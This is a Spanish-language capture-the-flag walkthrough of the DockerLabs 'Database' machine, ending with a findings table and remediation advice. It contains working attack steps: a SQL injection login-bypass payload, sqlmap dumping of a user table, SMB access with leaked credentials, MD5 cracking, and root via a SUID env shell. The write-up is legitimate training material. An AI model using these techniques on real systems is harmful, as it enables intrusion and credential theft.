Skip to content

Database

This content is not available in your language yet.

Este documento presenta la resolución detallada de la máquina Database, desarrollada por El Pingüino de Mario para la plataforma DockerLabs, catalogada con una dificultad Media.

El objetivo del laboratorio es comprometer un sistema vulnerable mediante el análisis de servicios expuestos, la explotación de una aplicación web vulnerable a SQL Injection, el abuso de credenciales reutilizadas y, finalmente, una escalada de privilegios aprovechando un binario con permisos SUID mal configurados.

A lo largo del write-up se describe de forma progresiva todo el proceso, desde la enumeración inicial hasta la obtención de acceso como root, destacando los fallos de seguridad presentes y las técnicas utilizadas en cada fase.

La metodología seguida se divide en tres etapas principales:

  1. Reconocimiento: identificación de servicios activos y usuarios del sistema.
  2. Explotación: obtención de acceso inicial mediante una vulnerabilidad de SQL Injection y el uso de credenciales filtradas.
  3. Escalada de privilegios: abuso de configuraciones inseguras para obtener acceso administrativo.

Todas las pruebas se realizaron exclusivamente dentro del entorno controlado de DockerLabs, con fines educativos.


AtributoValor
NombreDatabase
AutorEl Pingüino de Mario
DificultadMedio
Fecha30/06/2024
PlataformaDockerLabs

Se descomprime y despliega la máquina virtual proporcionada utilizando el script oficial:

Ventana de terminal
unzip "Database.zip"
sudo bash auto_deploy.sh "Database.tar"

Una vez finalizado el despliegue, se obtiene la dirección IP asignada al contenedor:

IP asignada


Se crea una estructura de directorios para mantener el trabajo organizado y facilitar la documentación del laboratorio:

Ventana de terminal
mkdir -p Database/{content,exploits,nmap,scripts}
cd Database

Se realiza un escaneo completo de puertos TCP para identificar los servicios expuestos en la máquina objetivo:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos identificados:

  • 22/tcp — SSH
  • 80/tcp — HTTP
  • 139/tcp — SMB
  • 445/tcp — SMB

Puertos abiertos


Se realiza un escaneo de directorios y extensiones web sobre el servicio HTTP:

Ventana de terminal
feroxbuster -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,html,txt,js,json -t 100 -C 404

Rutas relevantes encontradas

  • /index — Página de inicio que muestra un formulario de autenticación.

Se utiliza la herramienta enum4linux para enumerar usuarios, recursos compartidos y configuraciones del servicio SMB:

Ventana de terminal
enum4linux -a 172.17.0.2

Hallazgos clave:

  1. Usuarios identificados (SMB):

Usuarios SMB

  • dylan
  1. Recursos compartidos disponibles:

Shares disponibles

  • shared
  1. Usuarios del sistema identificados:

Usuarios del sistema

  • dylan
  • augustus
  • bob

El primer vector de ataque consiste en probar un bypass de autenticación mediante SQL Injection en el formulario de login de la aplicación web.

Se utiliza el payload clásico:

' or 1=1-- -

Tras enviarlo, la aplicación redirige a la siguiente página:

welcome dylan

Esto confirma que el formulario es vulnerable a SQL Injection y que el usuario dylan existe en la base de datos.

A continuación, se utiliza sqlmap para enumerar las bases de datos:

Ventana de terminal
sqlmap -u "http://172.17.0.2" --dbs --batch --form

sqlmap result

La base de datos más relevante es register, por lo que se procede a extraer la tabla de usuarios:

Ventana de terminal
sqlmap -u "http://172.17.0.2" --form --batch -D register -T users --dump

user

Las credenciales obtenidas se prueban en el servicio SMB, logrando acceso al recurso compartido:

Ventana de terminal
smbclient \\172.17.0.2\\shared -U "dylan%<PASSWORD>"

Dentro del recurso compartido se encuentra el archivo augustus.txt, el cual contiene un hash en formato MD5. Este hash se crackea utilizando john:

Ventana de terminal
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash

john result

La contraseña obtenida corresponde al usuario augustus, permitiendo el acceso al sistema mediante SSH:

Ventana de terminal
ssh augustus@172.17.0.2

ssh access


Se prueba la reutilización de credenciales obtenidas previamente. Esta técnica resulta exitosa, permitiendo cambiar al usuario dylan mediante:

Ventana de terminal
su dylan

su dylan


Se revisan inicialmente los permisos sudo, sin encontrar configuraciones útiles:

Ventana de terminal
sudo -l

Posteriormente, se analiza el directorio personal del usuario dylan, donde se identifica un archivo .kdbx, que podría contener credenciales almacenadas:

content of home

Sin embargo, el método más efectivo consiste en buscar binarios con permisos SUID:

Ventana de terminal
find / -perm -4000 2>/dev/null

find result

Entre los binarios listados se encuentra env, el cual permite una escalada directa de privilegios. Ejecutándolo de la siguiente forma se obtiene una shell con privilegios elevados:

Ventana de terminal
env /bin/bash -p

whoami root


VulnerabilidadDescripción
SQL InjectionEl formulario de login no valida correctamente la entrada del usuario, permitiendo bypass de autenticación y extracción de bases de datos.
Exposición de credencialesLas credenciales almacenadas en la base de datos y en recursos SMB permiten el acceso a múltiples servicios.
Reutilización de contraseñasUna misma contraseña es válida para distintos usuarios del sistema.
Servicio SMB mal configuradoAcceso a recursos compartidos sin restricciones adecuadas.
Permisos SUID insegurosEl binario env cuenta con permisos SUID, permitiendo la ejecución de una shell con privilegios de root.

  • Validar y sanitizar correctamente la entrada de usuario para prevenir ataques de SQL Injection.
  • Evitar el almacenamiento de contraseñas en texto plano o hashes débiles como MD5.
  • No reutilizar contraseñas entre distintos usuarios y servicios.
  • Restringir el acceso a recursos SMB mediante controles de autenticación adecuados.
  • Eliminar permisos SUID innecesarios en binarios del sistema.
  • Aplicar el principio de mínimo privilegio y realizar auditorías de seguridad periódicas.